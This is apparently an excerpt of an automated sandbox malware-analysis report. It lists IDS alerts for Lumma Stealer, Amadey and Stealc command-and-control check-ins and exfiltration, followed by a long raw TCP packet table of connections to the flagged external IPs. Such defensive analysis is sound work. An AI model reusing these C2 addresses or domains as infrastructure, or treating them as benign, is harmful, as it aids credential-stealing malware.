2024-12-09T21:09:47.108404+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49960	104.21.48.1	443	TCP
2024-12-09T21:09:47.108404+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49960	104.21.48.1	443	TCP
2024-12-09T21:09:47.803048+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49958	104.21.48.1	443	TCP
2024-12-09T21:09:47.803048+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49958	104.21.48.1	443	TCP
2024-12-09T21:09:48.316285+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49965	185.215.113.43	80	TCP
2024-12-09T21:09:49.091677+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:09:49.091677+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:09:49.585546+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49973	104.21.48.1	443	TCP
2024-12-09T21:09:49.585546+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49973	104.21.48.1	443	TCP
2024-12-09T21:09:49.776192+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49969	185.215.113.16	80	TCP
2024-12-09T21:09:49.858611+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:09:49.858611+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:09:51.926628+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49979	104.21.48.1	443	TCP
2024-12-09T21:09:51.926628+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49979	104.21.48.1	443	TCP
2024-12-09T21:09:54.748280+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49992	104.21.48.1	443	TCP
2024-12-09T21:09:54.748280+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49992	104.21.48.1	443	TCP
2024-12-09T21:09:55.294841+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	49994	104.21.48.1	443	TCP
2024-12-09T21:09:55.294841+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49994	104.21.48.1	443	TCP
2024-12-09T21:09:55.507292+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49992	104.21.48.1	443	TCP
2024-12-09T21:09:56.981463+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50000	185.215.113.16	80	TCP
2024-12-09T21:09:58.302568+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50004	185.215.113.206	80	TCP
2024-12-09T21:09:58.614446+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50008	185.215.113.43	80	TCP
2024-12-09T21:09:59.001138+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	50013	104.21.48.1	443	TCP
2024-12-09T21:09:59.001138+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50013	104.21.48.1	443	TCP
2024-12-09T21:10:04.213257+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	50033	104.21.48.1	443	TCP
2024-12-09T21:10:04.213257+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50033	104.21.48.1	443	TCP
2024-12-09T21:10:06.715591+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	50041	104.21.48.1	443	TCP
2024-12-09T21:10:06.715591+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50041	104.21.48.1	443	TCP
2024-12-09T21:10:09.484980+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	50050	104.21.48.1	443	TCP
2024-12-09T21:10:09.484980+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50050	104.21.48.1	443	TCP
2024-12-09T21:10:17.127406+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	50065	104.21.48.1	443	TCP
2024-12-09T21:10:17.127406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50065	104.21.48.1	443	TCP
2024-12-09T21:10:17.895072+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50065	104.21.48.1	443	TCP
2024-12-09T21:10:17.895072+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50065	104.21.48.1	443	TCP
2024-12-09T21:10:21.138990+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.6	50074	104.21.48.1	443	TCP
2024-12-09T21:10:21.138990+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50074	104.21.48.1	443	TCP
2024-12-09T21:10:21.891581+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50074	104.21.48.1	443	TCP
2024-12-09T21:10:21.891581+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50074	104.21.48.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 21:09:03.711316109 CET	49848	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:03.830693007 CET	80	49848	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:03.831163883 CET	49848	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:03.831336021 CET	49848	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:03.950659037 CET	80	49848	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:05.209419966 CET	80	49848	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:05.209521055 CET	49848	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:06.716334105 CET	49848	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:06.716934919 CET	49854	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:06.836190939 CET	80	49848	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:06.836252928 CET	80	49854	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:06.836266994 CET	49848	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:06.836328030 CET	49854	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:06.836569071 CET	49854	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:06.955858946 CET	80	49854	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:08.199217081 CET	80	49854	185.215.113.43	192.168.2.6
Dec 9, 2024 21:09:08.199306011 CET	49854	80	192.168.2.6	185.215.113.43
Dec 9, 2024 21:09:08.203707933 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:08.323009968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:08.323101997 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:08.323261976 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:08.443047047 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655523062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655586004 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655596972 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655623913 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.655644894 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.655734062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655776024 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.655922890 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655936003 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655953884 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655961037 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.655973911 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.655982018 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.655992031 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.656008959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.656171083 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.656182051 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.656209946 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.656224012 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.775032997 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.775068045 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.775147915 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.775171995 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.779230118 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.779284954 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.849423885 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.849490881 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.849564075 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.849582911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.854342937 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.854402065 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.854474068 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.854517937 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.862121105 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.862188101 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.862276077 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.862319946 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.870548010 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.870613098 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.870634079 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.870677948 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.878813982 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.878914118 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.878933907 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.878973961 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.887224913 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.887298107 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.887360096 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.887402058 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.895576000 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.895663977 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.895709038 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.895756960 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.904108047 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.904218912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.904225111 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.904254913 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.912421942 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.912480116 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.912548065 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.912592888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.920141935 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.920197010 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.920382023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.920425892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.927704096 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.927756071 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.927783012 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.927829027 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.969059944 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.969141006 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:09.969151974 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:09.969185114 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.041501999 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.041595936 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.041615009 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.041650057 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.043879986 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.043930054 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.043996096 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.044039011 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.047650099 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.047689915 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.047775984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.047816992 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.052612066 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.052678108 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.052706003 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.052747011 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.057540894 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.057586908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.057679892 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.057722092 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.062303066 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.062349081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.062369108 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.062407970 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.067028046 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.067075968 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.067157984 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.067199945 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.071782112 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.071827888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.071851969 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.071892977 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.076492071 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.076567888 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.076586962 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.076630116 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.081187963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.081238985 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.081301928 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.081345081 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.085920095 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.085971117 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.086046934 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.086095095 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.090641022 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.090699911 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.090765953 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.090810061 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.095427036 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.095509052 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.095617056 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.095664024 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.100179911 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.100194931 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.100254059 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.100294113 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.103903055 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.103945971 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.103964090 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.104007959 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.107428074 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.107480049 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.107492924 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.107539892 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.110991955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.111037016 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.111089945 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.111131907 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.233391047 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.233412981 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.233464956 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.233489990 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.234292030 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.234302998 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.234450102 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.238471031 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.238485098 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.238528013 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.238555908 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.240674019 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.240719080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.241045952 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.241091967 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.243690968 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.243704081 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.243736029 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.243743896 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.246723890 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.246773958 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.246857882 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.246891975 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.249552011 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.249564886 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.249613047 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.249628067 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.252219915 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.252230883 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.252269983 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.252290964 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.255412102 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.255423069 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.255474091 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.258217096 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.258265972 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.258359909 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.258403063 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.261149883 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.261202097 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.261387110 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.261552095 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.264183044 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.264233112 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.264302015 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.264344931 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.267132998 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.267144918 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.267184973 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.269829035 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.269875050 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.270051003 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.270092010 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.273031950 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.273051023 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.273068905 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.273086071 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.275727034 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.275738955 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.275768042 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.275784016 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.278201103 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.278247118 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.278381109 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.278420925 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.281120062 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.281164885 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.281306028 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.281347036 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.286139965 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.286176920 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.287051916 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.287096024 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.287538052 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.287581921 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.287717104 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.287760019 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.290697098 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.290743113 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.290839911 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.290880919 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.293380022 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.293422937 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.293596029 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.293638945 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.295758963 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.295800924 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.295823097 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.295861006 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.298600912 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.298645020 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.298662901 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.298701048 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.301525116 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.301563978 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.301575899 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.301619053 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.304364920 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.304413080 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.304480076 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.304523945 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.307356119 CET	80	49859	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:10.307403088 CET	49859	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:10.307424068 CET	80	49859	31.41.244.11	192.168.2.6
